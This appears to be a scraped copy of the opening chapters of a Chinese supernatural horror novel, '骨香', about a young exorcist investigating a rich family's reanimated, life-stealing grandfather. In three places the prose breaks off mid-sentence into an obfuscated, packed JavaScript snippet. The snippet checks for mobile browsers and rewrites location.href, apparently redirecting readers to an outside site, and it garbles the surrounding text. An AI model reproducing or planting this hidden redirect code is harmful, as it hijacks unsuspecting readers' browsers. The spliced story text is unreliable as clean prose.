《骨香》 1. 有客来访 永福县的老街尽头,歪斜的电线杆旁立着一块褪色的招牌——“福荫堂”。玻璃橱窗里积着薄灰,几个纸扎的金童玉女笑得僵硬,腮红晕开成诡异的粉斑。 一个穿宽大旧卦衫的女孩蜷在柜台后打着瞌睡,半长的头发被一根看着颇有年头的桃木簪子随意束起。垂落的手臂露出淡青色的乌鸦纹身。整个店里飘着一股陈旧的香烛味。 泛黄的门帘突然被掀起,她眼也没睁,懒懒道:“寿衣三百,纸别墅加童男童女算您八折。” “我不是来买东西的。”门帘被完全掀开,露出来人的全貌。 那是个面容清俊的青年,穿着简单的衬衫和长裤,看着也就二十出头的模样。 尤黎撑起身,半睁开眼,冷冷瞥了他一眼,语气不善:“那就是来砸场子的?” 她一个孤女在这老城开铺子,不是没遇到过故意来找茬的人,倒也不是怕,就是嫌这种事实在麻烦。 “不是不是。”青年慌忙解释,一双透亮的眼睛认真地看向尤黎,“我是来请大师帮忙的!” 说完,他从衬衫口袋小心掏出一张看起来就很劣质的小卡片,正面用红红绿绿的大字写着“算命请卦,除鬼降妖”,背面则印着福荫堂的地址。 尤黎一时怔愣,好一会才想起来,卡片是她大学时找了家打印店印的,那时候爷爷病重,她想着出去弄点钱,让爷爷在最后的时光去看看心心念念的海。 可现代社会里,哪有人信这个,只当她是封建迷信。最后钱也没赚到,爷爷也离世了。 思及此,尤黎眼神暗淡一瞬。 “都是几年前印的了,居然还有人留着。”她打了个哈欠,擦去眼角的泪水,轻轻佻佻晃到青年身前,抽走卡片,慢条斯理地撕碎,“不接。” 说罢,她一扬手,硬质的卡片连在空中打个旋都做不到,就那么直直落地。 “请回吧。我要打烊了。” 青年大张着嘴,一副呆愣模样,半晌才回神:“不不不,大师大师,我这个真是急事啊!我爷爷去世了!” “那就找火葬场。” “他尸体不见了!” “那打110啊。” “可是,可是,我看见他...他...在祠堂吃香灰!”青年语调猛地拔高,抽搐的嘴角像是想起什么恐怖的画面。 闻言,尤黎顿了下:“那就去找该找的人,多的是干这行的。” 青年大踏两步,双手撑住柜台,满脸真诚地祈求:“大师,这件事肯定只有你行!” 尤黎往后缩了缩,眼神警示地盯着青年:“说话就说话,别跟我靠这么近。” 青年只好往后站些,神神秘秘续道:“我算了一卦,要解决我爷爷的事,得要往西南角找,可不就是你这!” 尤黎难得正眼瞧了他一眼:“用什么算的?六爻?梅花?” “硬币!” 尤黎:...... “你别不信啊,我跟你说,那个硬币往哪都不去,就是往......” 尤黎扶着额头,果断打断他的话:“闭嘴,我这不接,请回。” 自己就白瞎问他,看着也不像个聪明的。 “别啊别啊,大师,大师你说,要怎么样才能答应我,我都能给!”青年仍旧固执地站在原地,可怜巴巴地望着尤黎。 呲拉呲拉—— 诡异的纸张摩擦声突兀地响起,立在门口的金童玉女,不知什么时候,已经贴在青年身后了。 青年回头就是两张纸扎的笑脸,被吓得次哇乱叫,两条长腿扑棱着往尤黎身后跑。 尤黎无语地一手抓住青年的脸甩开,另一手点点两个纸人:“回去。” 金童玉女点点头,挽着手挪回了门口。 青年从尤黎身后探出头,一个快一米九的大男人,刚才居然跟个乌龟样缩在自己后面,尤黎不耐烦道:“滚不滚,不滚放他两撕了你。” 见证刚才堪称神奇的一幕,青年更不愿意撒手了,他抓住尤黎的袖口,继续哀求:“大师——” “我,我出十倍委托费!” “出什么都...你说多少?”尤黎露出今天第一个笑容,伸手扶起双腿打颤的青年,“来,起来说,别跪着。” 尤黎在小卡片上写的委托费是五千一次,这人能出十倍,整整五万啊!赚了这五万,下个月她就能在家躺着不开店了。 她尤黎这辈不媚男不媚女只媚钱,跟钱过不去的事谁能做到谁做,反正她做不到。 福荫堂前边是铺子,后边通着住处,尤黎笑眯眯地把人摁到小木凳上坐下,自己也坐上太妃椅,一把掏出手机亮出收款码,轻咳两声说:“现金还是扫码?” 青年很爽快地扫过去五万。 听见收款到账的声音,尤黎一时没忍住笑出声,忙端起茶几上的茶杯抿了两口,想起什么似的问道:“你叫什么?” “钟熠。” “城北家的?”尤黎小时候听爷爷说过,县里边城北头有家姓钟的,家里产业做的很不错,十来年前就搬去市里了。 “对对。”刚才死皮赖脸的请求大概耗尽了钟熠的所有勇气,这会才觉得丢脸,头略略垂着,不敢和尤黎对视。 尤黎挑挑眉,也不戳穿他的尴尬,毕竟现在人家是老板,她别的不说,职业道德还是很不错的。 “那说说吧,你爷爷的事。” 钟熠本来还有几分局促的脸上瞬间切换成恐惧,两只大眼睛直溜溜地盯着尤黎,他吞了口口水,紧绷的嗓音还是出卖了他的不安。 “我们家本来是在临安市的,爷爷生病前段时间生病了,说想我爸回来陪陪他,我爸要送他去住院,可爷爷不肯,吵着非要我爸回老家来,我爸拗不过他,也不放心他老人家一个人在这,只能一家都先搬回来。”钟熠呼吸急促起来,“可是,可是,我爸一回家,爷爷当天夜里就病情恶化去世了。我爸妈联系了附近的火葬场,准备七天后火化。” 尤黎打断他:“整个永福镇都是三天停灵。你家的规矩停七天?” 钟熠点头:“是我爷爷还在的时候跟我爸妈说的,他说他念家,要是死了,得给他停七天,不然他走的也不安心。” “哇——哇——” 粗粝嘶哑的叫声从窗户外传来,玻璃窗被一双爪子划拉出刺耳的噪音。 尤黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118517|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见怪不怪地走到窗户边,拉开玻璃,将那只怪叫的黑色乌鸦抓住,用手狠狠点了点它泛红的眼睛:“我谈正事呢,你给我滚房间去,再叫我拔了你的毛炖汤。” 红眼乌鸦眼珠子滴溜溜转了几圈,然后很是瞧了钟熠几眼,才不紧不慢地扑腾着肥硕的身体往一个房门半掩的飞去。 钟熠用欲言又止的求知眼神盯着尤黎,满脸写着“这啥这啥告诉我”。 尤黎拂掉衣服上沾的羽毛,无视钟熠好奇宝宝的目光,扬了扬下巴,示意他继续说。 钟熠只得继续:“前六天,我爷爷都还好好的,到准备送去火化的时候,尸体就不见了,他肯定是第七天夜里不见的。” “那天夜里有什么异常吗?” “我睡觉睡得死,没发现什么异常。”钟熠不好意思地挠挠头,“我爸妈就到处找,还调了门口的监控,可是什么也没有。” 有也拍不到,鬼啊精怪啊都是有磁场的,不可能随随便便被监控拍下来,尤黎心想,真是死了也不安生。 蓦地,尤黎想起了什么,严肃问道:“你爷爷死的时候多大年纪?” “一百四十四了。”种熠不解地眨眨眼,“怎么了吗?” 尤黎心下冷了几分,接着又问:“你爷爷有多少子女?他们活着吗?” “我爷爷有三个女儿两个儿子,不过除了我爸都去世了。” “是不是都年纪轻轻就去世的?” “对啊对啊。”钟熠眼睛发光,“大师,你真神,这也能算出来啊!” “神他妈,你全家都要被弄死了,还搁那傻乐。”尤黎往钟熠后脑勺来了一拳,蹲下身在茶几下的旧纸箱里翻翻找找,零零碎碎收拾了几样东西放进随身的斜挎布包。 钟熠捂着发痛的后脑勺,嘟囔道:“可我那天拿手机拍他,他看见我也没干啥呀。” 尤黎整理挎包的手一顿,不可置信地转过头,一字一顿道:“你,拍,他。” 钟熠看她脸色不对,一手捂住后脑勺,然后把手机怼到尤黎面前:“你看啊!他就是只吃香灰。” 尤黎邦邦两拳揍得钟熠脑门发红,她几乎要被气晕了,这种绝世蠢货怎么生存到现在的? “这么重要的东西,你现在才拿出来?” 钟熠嘿嘿一笑:“太怕了,不敢拿出来看,就忘了。” 深呼吸两口强行平息怒气后,尤黎撇过头点开了一段视频。 视频有些模糊抖动,一个老人僵立在供桌前,穿着浆洗得僵硬的红色寿衣,青灰色的皮肤上爬满尸斑,透着死亡的腐朽气息。 祠堂供桌上的烛火燃烧速度快得诡异,火光却相当微弱,将四周的影子拉扯得扭曲变形。 干枯的手指从香炉里抓出一把香灰,缓慢地送入口中。灰烬粘附在皲裂的唇上,像一层诡异的霜。他的喉咙滚动,吞咽时发出沙沙的摩擦声。 供桌上的祖宗牌位沉默地注视着他,漆面剥落,字迹模糊。烛光忽明忽暗,照出他浑浊的眼珠。 突然,老人整个脑袋僵硬地转向背后,一张青灰的脸赫然出现。 那老人就这么反着身体,一步步靠近了...... 2. 借寿(一) “然后呢?” 尤黎看着戛然而止的画面,拧眉问道。 钟熠又是一个毫无危机感的傻笑:“我当时吓晕了,不小心按到了结束录制。” 尤黎的拳头紧了又松,最后化作一口气无奈叹出,她吹了个口哨,红眼乌鸦从房间阴影里扑出,落在她肩上,喙上还沾着不知名的暗红碎屑。 “走吧,废物。”她转身,乌鸦的翅膀扫过钟熠的脸,羽毛里裹着腐朽的香灰味,“去看看你家那位诈尸的老祖宗,到底想干什么。” ...... 两人到钟家时,正碰上钟家父母送走几位民警。 尤黎瞥了眼身旁的钟熠:“你爸妈还报警了?” “对啊,我爷爷的尸体已经丢了三天了。我爸妈着急啊。” “你爸妈知道你爷爷的尸体回来过吃香灰吗?” “我是昨天晚上碰见的,他们白天一直不在家,还没来得及告诉他们。” 钟家大门前,民警刚离开。钟建元的目光在尤黎身上转了一圈,眉头皱得能夹死苍蝇:“小熠,这是?” “爸,这是尤大师,来帮忙找爷爷的。”钟熠搓着手,活像只殷勤的狗腿子。 钟建元脸色一沉,话里带刺:“警察都找不到,你请个神棍就能解决?年纪轻轻不学好,搞这些封建迷信——” 尤黎冷笑,直接举起手机。 视频里,穿寿衣的老人正机械地吞咽香灰,喉结滚动时发出“咯吱”声,像有什么东西在皮下蠕动。 钟建元的脸色瞬间灰败。 一旁的神色憔悴的女人却崩溃尖叫:“我早说过!你爸根本不正常!我们就不该回来!”她指甲抠进丈夫手臂,神经质地重复,“香灰……他当年就跪在我们门口烧香!” “兰玉,别激动,别激动。”钟建元揽住女人的肩膀,狠狠闭了闭眼,像是下定什么决心,“你们进来吧。” 钟家的宅子透着股诡异的精致——雕花门廊上缠着褪色的红绳,厅堂供着的不是神佛,而是一尊模糊的铜像,铜像脚下散落着干涸的暗红印子。 尤黎的指尖抚过桌角,蹭下一层黏腻的灰:“你们家老爷子,生前拜的什么玩意儿?” 钟建元摇摇头,表示不知道。 一进到宅子里,尤黎的乌鸦就炸开羽毛,发出嘶哑的啼叫,血红的双目不安转动。 “请你帮帮我们,大师。”钟建元算是看清了,面前的小丫头根本不是什么神棍,人家真有本事的。 “不敢当,我那是封建迷信。”尤黎语气平淡,刚才被质疑的事让她很不爽,说话自然也夹枪带棒起来。 钟建元被刺得语塞,只好把求助的目光投向自家儿子。 谁知钟熠那胳膊肘也是往外拐的,一点也不给自己老爹留情面:“爸,你知不知道我求了多久大师才肯过来的!差点就因为你人家要走了。” 尤黎头一次觉得钟熠说话这么顺耳,余光里看见钟建元脸都绿了,她的气也算消了一半,钱都收了,事还是要办的。 “行了,我不跟你计较。让你老婆说吧,烧香的事。” 被点到的杨兰玉没有回应,双眼无神涣散,她双手紧紧抓着钟建元的手臂,直到指尖都泛了白,也说不出话来,嘴里喃喃着些听不清的呓语。 尤黎见势不对,立刻向她甩出一张符箓,符箓无风自飞,在贴上杨兰玉额头的那一瞬化作灰烬飘落。杨兰玉不自觉闭上双眼,呼吸也渐渐趋于平缓,最后沉沉睡去。 钟熠惴惴不安地拽了下尤黎的袖子,神色着急:“大师,我妈这是怎么了啊?” “没事,一点脏东西,醒来就好了。”尤黎抬手一挥,隔空拂走了那些灰烬,她直直看着钟建元,“说吧,把你知道的,全部从头到尾说给我听。” 有了那段视频和杨兰玉的表现,她不信钟建元敢不说实话。 果然,犹豫片刻,钟建元还是开了口。 钟家是在钟熠他爷爷,也就是钟悯手上才发达起来的,钟悯年轻的时候是个混不吝的,到三十来岁进城打工,没想到赚了大钱,娶了个漂亮媳妇回了县里,生了两儿三女,一时间成了整个永福县里最让人羡慕的人家。 可惜好景不长,他的几个儿女都陆陆续续因为各种意外去世。 只剩钟建元这个最小的儿子活到了现在。 “你哥哥姐姐怎么死的?”尤黎突然问。 钟建元喉结滚动:“老大淹死在浴缸,水才到脚踝……老三是被自己的头发勒死的。老二老四是上山抓野味,一个掉山崖下头,一个失踪了。”他声音发抖,“警察说,是意外。” 钟熠腿一软,差点跪下:“爸你怎么从来没跟我说过这些,大大大师!这这这肯定不是意外!” 尤黎无视了钟熠,不紧不慢道:“你们一家搬去市里,也跟你爸有关吧。” 钟建元点点头,继续道:“我不是没怀疑过,我的哥哥姐姐,都死得太蹊跷,那些年我真的很害怕,怕下一个就是我。” “但后来,我一直都很安稳地活着,也就把他们的死当做意外,直到和兰玉结婚之后,有次晚上,我被兰玉的叫声吵醒,我看见她站在门口哭,她说,她起夜的时候没注意,脚下踢到东西,结果发现是我爸跪在我们房门口,手里还捏了几根香。” “我去问我爸,我爸说是他晚上根本没有出过门,是兰玉看错了,接下来几天,我每天半夜都会爬起来,贴在门边上,次次都能闻到香烛的味道,还有门口的呼吸声。小熠那时候刚三岁,兰玉也被折腾得不行,连我一个大老爷们都不知道怎么面对我爸,干脆带着他们搬去市里。” 尤黎嗤笑一声,斜睨了他一眼道:“你们走的时候,老头子没阻拦?” “没有,我们在市里十几年,他只偶尔寄点土特产过来,直到他生病,说要我们回来陪陪他。这么多年过去,我也没回来看过他,心里到底过意不去,就带着兰玉和小熠回来了。”钟建元眼下一片乌青,重重往桌上一拍,语气懊恼,“谁知道,会发生这种事。” 尤黎没说话,沿着楼梯上二楼,很快又捂着鼻子下来,一脸晦气的表情:“二楼最里面那个是你爹以前住的房间吧,一股腐烂的臭味。” “你其实心里有猜测吧?你爹在借寿。”冷不丁地,尤黎问道。 钟建元没说话,算是默认。 尤黎摆摆手,没再说话。人总是自信,觉得自己是特别的那个,即使对方早就表现出可怕的一面,也偏偏要去赌。 她把肩上的乌鸦放在铜像旁,然后从包里摸出一根香在客厅四个角画了几道符号,叮嘱道:“行了,和你老婆儿子都待在这别动,哪儿都别去,我去后面的祠堂看看。” 沉浸在故事里的钟熠立刻清醒,一溜小跑就窜到尤黎身边:“大师,我也要去。” 尤黎无情地推开他,冷淡地吐出一个字:“滚。” 祠堂在钟家后面一点。 黑瓦歪斜,墙皮剥落。门上的红漆已经褪色。屋檐下挂着个破灯笼,在风里吱呀摇晃,照得门上的铜锁忽明忽暗。 一声巨响,木门被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤黎脸色一沉,心道不好,这鬼已经有了囿,爷爷曾经说过,有囿的鬼,就是小有气候了,能够控制空间。 手中重量陡然一轻,她低头看去,桃木剑竟然像截枯枝般腐烂了,都不用她用力便化作一团黑灰。 除非她自己从囿里出去,不然谁也进不来。 尤黎小打小闹经历得多,面对眼下的情况,还真是头一遭。 周围的黑色沉得能滴出水,如果说刚才还能仗着自己开过灵眼勉强看清点轮廓,现在是什么也看不清了,只有无穷无尽的黑暗包裹住她。 尤黎面色不变,也不再主动出击,她安安静静站在原地,闭上双眼像是放弃了挣扎。 一阵阴风从耳侧袭来。 尤黎猛地睁开双眼,嗓音冷淡。 “抓住你了。” 她手臂上的青色乌鸦发出刺眼的红光,一时间竟刺破了这浓重的黑暗,而她的手上,早已缠上几缕发丝,一头绕在她指节间,一头穿进离她距离不过三指的男尸体内。 男尸长满尸斑的皮肤下,几缕发丝欢脱游动的痕迹一清二楚。 被发丝缠绕的手略微一使劲,男尸的躯干“哗啦”一声碎裂,尸块如腐烂的瓜果般砸落,在地板上溅起一片腥臭的黏液。 发丝仍不满足,继续缠绕着残肢。 尤黎收回发丝,却发现一个不妙的现实。四周依旧是浓密的黑暗,没有一点声息。 她杀了鬼,但是鬼囿没有消失。 3. 借寿(二) 尤黎眸色骤冷。 她原本只当这是桩寻常的借寿反噬的案子,可眼前层层叠叠的布局,摆明了事情真相远非如此,甚至比她想的更加复杂。 "倒是小瞧了。"她轻嗤一声,齿尖咬破食指的动作干脆利落。鲜血涌出的刹那,空气中弥漫开铁锈般的腥气。凌空画符的动作行云流水,猩红的咒文在虚空中凝结成实体,每一笔都裹挟着凌厉的煞气。 "破!" 血咒如离弦之箭激射而出,所过之处黑暗如潮水般退散。裂缝蛛网般蔓延开来,伴随着令人牙酸的撕裂声。当最后一道血光湮灭时,整个鬼囿轰然崩塌,碎成漫天磷火般的幽绿光点。 祠堂的全貌再次展现出来。 重见天日的祠堂以惊人的速度腐朽着。承重柱发出不堪重负的呻吟,菌丝在黑褐色的木料上疯狂滋长。香炉倾倒,香灰凝成块,混着不知名的虫尸。牌位东倒西歪,字迹模糊,有几个甚至裂开。 地面青砖缝隙渗出黏腻的潮气,尤黎碾过地面滋生的苔藓,黏腻的触感从脚底传来。她神色未变,目光如刀锋般刮过每个正在腐化的角落。她记得钟家祠堂在民国重建过——不足百年的建筑,怎会衰败至此? 是这只鬼,有腐化周围事物的能力。 尤黎总算知道,她进祠堂时感到的违和感是为什么。 而现在,祠堂又一次快速的腐烂,则印证了她的猜测,这只鬼所到的地方,会带来腐朽枯败。 不同于鬼囿,这是真正的属于那只诈尸鬼的能力。 尤黎扶额,心下涌起不妙的预感。 吃香灰说明这鬼物刚刚成鬼,能力并不算强,可他又拥有腐朽事物的能力,身上还被人附上鬼囿。 那么,他真的如此轻易就被自己杀掉吗? 或者说,他背后的人,手段只有这样吗? 一声巨响,腐朽不堪的供桌轰然倒塌,尤黎耳尖微动,神思被扰乱的瞬间,她意识到不对,倏然转身,只见地上散落的残肢正诡异地蠕动着拼接。黑雾缭绕间,一个踮着脚后跟的人形逐渐成型,脖颈以不可思议的角度扭转着,空洞的眼眶直勾勾盯着祠堂大门。 "想走?"尤黎指间不知何时已夹着三张朱砂黄符,符纸边缘泛着淡淡的金光。她手腕一振,符箓破空之声竟压过了祠堂梁木断裂的声响,"问过我了么?" 符箓破空的刹那,腐朽鬼物的身形已如黑烟般窜至祠堂门槛。尤黎眯起眼,指间三张黄符突然自燃,化作三道流火追袭而去。 "想往钟家宅子逃?"她冷笑一声,鞋尖点地,身形如鹰般掠出。腐朽的梁木在她头顶发出不堪重负的呻吟,簌簌落下木屑与蛛网。 那鬼物踮着脚尖,身形却快得诡异。所过之处,青石板上滋生出墨绿色的霉斑,廊柱上的漆画以肉眼可见的速度褪色剥落。尤黎追至院中,忽见鬼物身形一分为三,分别朝着东、西、中三个方向的游廊窜去。 "雕虫小技。"她咬破舌尖,一口血雾喷在掌心。血珠悬浮在空中,竟自动凝成三枚细如牛毛的血针。"去!" 血针破空,精准钉入三道鬼影的后心。左右两道幻影顿时溃散,中间那道发出刺耳的尖啸,身形却不停,反而借着这股冲击力加速扑向钟家内宅的月亮门。 尤黎脸色微变。那扇描金绘彩的月亮门正在以惊人的速度腐朽——金漆剥落,木料发黑,门楣上"钟灵毓秀"的匾额爬满蛛网般的裂纹。 鬼物穿过门洞的瞬间,整扇门轰然倒塌。飞溅的木屑中,尤黎看见它干枯的手指已经搭上了后院的门环。门环上的铜锈正在疯狂蔓延,转瞬间就覆盖了整个门面。 "不好!"尤黎反手抽出束发的桃木簪,挤出一滴指尖血抹在簪身。木簪泛起诡异的红光,她甩手掷出,簪子如离弦之箭,穿过漫天飞舞的霉灰,精准钉入鬼物后颈。 鬼物身形一滞,发出撕心裂肺的嚎叫。后院的门板突然剧烈震动起来,仿佛有无数看不见的手在内部拍打。尤黎趁机一个箭步上前,却见鬼物突然转头——那张腐烂的脸上,竟浮现出诡异的笑容。 它干枯的嘴唇蠕动着,吐出几个模糊的音节。与此同时,钟家宅院深处传来此起彼伏的碎裂声。尤黎心头一凛,这孽障竟在同时腐蚀整座宅院的结构! 杀鬼还是救人,这鬼物是在逼尤黎只能选择从中选择一个。 尤黎突然笑了,一双杏眼眯起一条弯弯的弧度,伸手在虚空一抓,森然开口:“修罗。” 一柄通体漆黑的古刀赫然出现,刀柄上还缠着蠕动的黑色布条,刀身繁复的纹路里,隐隐透出血色。 鬼物闪烁的身形凝住,似是无法动弹一双空洞的眼眸忽地有了神采,嘶哑的声音从喉头挤出。 尤黎闪过掉落的横梁,没听清鬼物嘴间的喃喃,她横空一刀砍来:“死在修罗手上,保你下地狱再无轮回!” 锋利的刀刃切入鬼物腐烂脖颈,像撕开一叠浸透脓血的湿棉被。腥臭的尸液喷溅而出,划出一道粘稠的弧光。那颗爬满蛆虫的头颅斜飞出去时,下颌还在一开一合,露出黑如焦炭的牙龈与七枚逆向生长的尖牙。 "哇——哇——" 嘶哑的鸦鸣刺破沉寂,从钟家老宅内传来。木制窗棂在夜风中吱呀作响,墙皮剥落的廊柱投下蛛网般的阴影。尤黎抹去唇边血沫,修罗刀寒光一闪,深深没入那颗狰狞的头颅。刀刃触地出"叮"的一声脆响,在死寂的庭院里格外刺耳。 "废物。"她转身时衣袂翻飞,腰间悬挂的青铜罗盘剧烈震颤。 客厅里,钟建元夫妇蜷缩在角落。男人怀中的杨文玉面如菜色,脖颈处隐约可见青紫指痕。尤黎目光扫过空荡荡的檀木椅——钟熠不见了。 "嘎!"乌鸦突然俯冲而下,漆黑羽翼掠过尤黎耳际。她反手一记耳光,鸟羽纷飞中瞥见那畜牲血红的眼珠直勾勾盯着楼梯。 乌鸦冲尤黎叫了几声,旋身往二楼扑腾,漆黑的尖喙往最靠里间的房门用力啄着。 尤黎几个跨步上了楼梯,二楼走廊弥漫着陈年的霉味,尽头房门渗出缕缕黑雾。尤黎踹门的瞬间,铜锁崩裂的声响惊起满室尘埃。她一脚踹开房门,顺带朝乌鸦来了结结实实的两巴掌,“废物,看个人都看不住。 房间里漆黑一片,借着开门带进来的光才能勉强视物。 钟熠双眼紧闭,歪倒在雕花拔步床边,身旁静静立着那尊面容模糊的铜像,当尤黎的视线投来时,铜像的眼珠仿若有神般与她对视着。 尤黎烦躁地踹倒铜像, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118519|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单手把钟熠扛起来,临走时又补了几脚,倒地的铜像碎成几道残片,从中间掉出一截骨头。 乌鸦很有眼力见地把东西叼起来,跟着尤黎一道下了楼。 来不及跟面如菜色的钟家父母多说,尤黎把人放下,食指用力在钟熠脑门上一点,还未干涸的血迹沾染上去,留下个红戳。 看钟熠脸色恢复红润,估摸着时间,尤黎不急不缓,踏着步子重新回到后院。 风声沙沙作响。被钉在地上的尸体开始渗出黑血,修罗刀上的符咒泛起暗红微光。尤黎站在三步开外,指尖夹着张泛黄的符纸:“去,吃了他。” 乌鸦本来环着尤黎无精打采地扑腾,一听这话,仿佛得了奖赏般,血红的眼珠子亮起幽光,一个俯冲就飞到尸体上。 眼见乌鸦将那颗头颅都快啃空了一半,尤黎才叫它回来。 乌鸦嘴角还挂着碎肉,羽毛上沾着点点血红,很是恋恋不舍地一飞三回头,半天也没飞出去一米。 尤黎眼睛一瞪,一手扬起,作势要扇乌鸦一巴掌。乌鸦立刻飞回她肩上,还讨好拿头地蹭蹭尤黎的脖颈。 一切似乎都这么解决了。 尤黎却不急着收尸,她还在等待。 甩开还在殷勤献媚的乌鸦,蹲下身仔细检查面目狰狞的残尸,她发现这残尸的左手食指似乎比右手短了不少。 思忖片刻,尤黎拿出那截藏在铜像里的骨头,轻轻沾了点地上的血,反手在骨头上描了几笔。 森森白骨突然散发出一阵诡迷的香气,宛若一朵盛开正好的花,引诱人不顾一切采摘。 尸骨花! 尤黎神色骤然沉郁,尸骨花取修道大者的指骨焠养,日日供拜,祭以亲人性命伺养,冤死之魂为束,方可练出。 这玩意最恐怖的地方,是可以控鬼。即使是个普通人拿到,照样可以使用。 “点死人血,迷香指亡魂来路,食活人血,白骨命百鬼出行。这就是,尸骨花。” 尤黎脑海里,不自觉浮现出爷爷给她讲尸骨花时的惆怅。他说,黎黎,尸骨花出现的时候,大难就来了,不管是被尸骨花驱使的鬼,还是使用尸骨花的人,都注定得不到好下场。 夜色骤然暗沉,浓云如墨汁般在天空晕染开来,顷刻间吞噬了原本惨白的月光。尤黎猛地抬头,只见云层中隐约透出几缕暗红,像渗血的棉絮悬在头顶——这是大阴之象,百鬼夜行的征兆。 "什么东西,好香啊..."钟熠的声音从拐角传来,带着年轻人特有的清亮,"哎,大师,你出来了!" 尤黎的后颈汗毛瞬间竖起,醒得太巧了,来得太巧了。她多年行走阴阳两界养成的直觉此刻尖锐地刺痛神经,仿佛有千万根钢针顺着脊椎往上爬。 无意间低头再看,这具尸体的左手,不见了。 钟熠朝她跑来,那张俊朗的脸上还挂着毫无防备的笑容,却浑然不知一只青灰色的断手正从他背后的阴影里探出,腐烂的指尖无声触到他裸露在外的脖颈。 “小心!”尤黎的警告脱口而出时,那只鬼手五指骤然收缩,指甲暴涨三寸,直插钟熠咽喉。 现在用符箓来不及了,修罗刀还需要用来定住尸身,尤黎咬牙,将自己的血滴上尸骨花。 4. 借寿(三) “定!” 千钧一发之际,沾染尤黎血液的尸骨花散发出浓郁而诡异的香气,如果说之前滴上尸血只是渗出一点若有似无的味道,现在便是宛如一条游蛇,强硬地钻入鼻孔,肌肤。 鬼手堪堪止住动作,但是它发黑的指甲已经划破钟熠的脖颈,留下一道显眼的血痕,血痕边缘甚至长出了尸斑。 钟熠整个人还是懵的,直到尤黎用桃木簪子挑开趴在他肩头的鬼手,他才后知后觉地开始害怕,脸色发白。 尤黎心情复杂地瞥了眼尸骨花,上头的血迹被吸了个干净,颜色比之前还要森白,怎么看都是有种说不清道不明的惊悚。 一块破骨头,起个怪文艺的名字。 她警告地睨了瑟瑟发抖的钟熠一眼:“你要是现在敢晕,我就弄死你。” 说完像是不放心,用簪子使劲戳他伤口的边缘,咬牙切齿:“听见没有!” 钟熠先前那会是被吓住了,一时间疼痛也因为过度恐惧而麻痹,现在被尤黎狠戳几下,立刻疼的呲牙咧嘴,忙不迭答应:“我不晕,我不晕,我发誓我死也不晕。” 两人说话间隙,尤黎似是无意放开了对鬼手的控制,熟悉的浓黑雾气转瞬即逝,带走了那只鬼手。 “跑...跑了,大师,它它它...” 尤黎微不可查地勾起嘴角,拽着钟熠的衣领回了一楼客厅。 杨兰玉仍在昏睡,钟建元抱着她缩在之前的角落,眼神空洞,看见尤黎过来,视线才落到实处。 “刚才,刚才,有阵黑雾...然后...” 钟建元颤颤巍巍开口,话说到一半又头疼般捶打了几下脑袋,好像有什么东西在阻止他说话。 尤黎本来就不指望还能从他们那问出什么有价值的东西,至于旁边睁着双迷茫大眼睛的钟熠,她更是想给几拳。 “你们回临安去,找个道观或者佛寺住着,在没我允许前,不许回永福镇。”尤黎擦干净簪子上的血迹,重新束起头发,“也不要再想今天的事,想得越多,它缠得越紧。” 钟熠好了伤疤忘了疼,又凑到尤黎身旁:“它是什么?” “你爷爷供的野神像。” “小熠,快收拾东西。大师,这次多谢...” 钟建元话音未落,尤黎就冷冷打断他:“他不能走。” 不等钟建元发问,她就拎着钟熠的领子转了个身,把那道可怖的伤口露了出来。 “蛊毒。”尤黎的声音带着不容置疑的笃定,指尖在钟熠腕脉上轻轻一搭便松开,“他留在这里,我能延缓毒发,再去找下蛊的源头解毒。当然,你们要带他走也行,”她话锋一转,目光扫过钟建元紧张的脸,“但最多三个月,他必定全身溃烂,血肉腐朽。” 后面的话,尤黎没说。最关键的是,鬼手在钟熠身上留下的不仅是毒,更是一种标记性的“气味”。那幕后的东西,无论是什么,一定会循着这气味找回来。 钟建元像是被抽走了脊梁,高大的身躯佝偻下去,半晌无言。最终,他朝着眼前这个看起来过分年轻的女孩,深深地、近乎卑微地鞠了一躬,声音干涩发颤:“大师,求您……无论如何,救救小熠!无论什么代价,钟家都愿意付!” “嗯。”尤黎等的就是这句,心头的小算盘拨得噼啪响。从踏进钟家那刻起,她眼睛就没闲过——明代的紫檀雕花,清代的官窑瓷瓶,连角落里不起眼的烛台镶了金边。除了那股盘踞不散的阴森鬼气,这里每一寸空气都散发着金钱的味道。 尤黎暗自撇撇嘴,这种玩命的活儿,这个价简直算她发善心做慈善了。她伸出两根手指,干脆利落:“二十万。” 钟建元几乎是抢着答应下来,生怕她反悔,又絮絮叨叨嘱咐钟熠千万要听话,记得常打电话报平安。 尤黎看着眼前父子俩黏黏糊糊的告别场面,耐心迅速告罄。她脸色骤然沉了下来,目光像淬了冰的刀子,带着不耐烦的寒意,在钟建元和钟熠之间冷冷扫视。 挨过尤黎几顿揍,钟熠现在不回头都能感觉到那冰锥似的视线正扎在自己身上。他一个激灵,赶紧止住话头:“爸,你快带妈走吧。我会没事的。” 钟建元重重叹了口气,最后看了儿子一眼,抱起昏迷的杨兰玉,一步三回头地消失在门外。 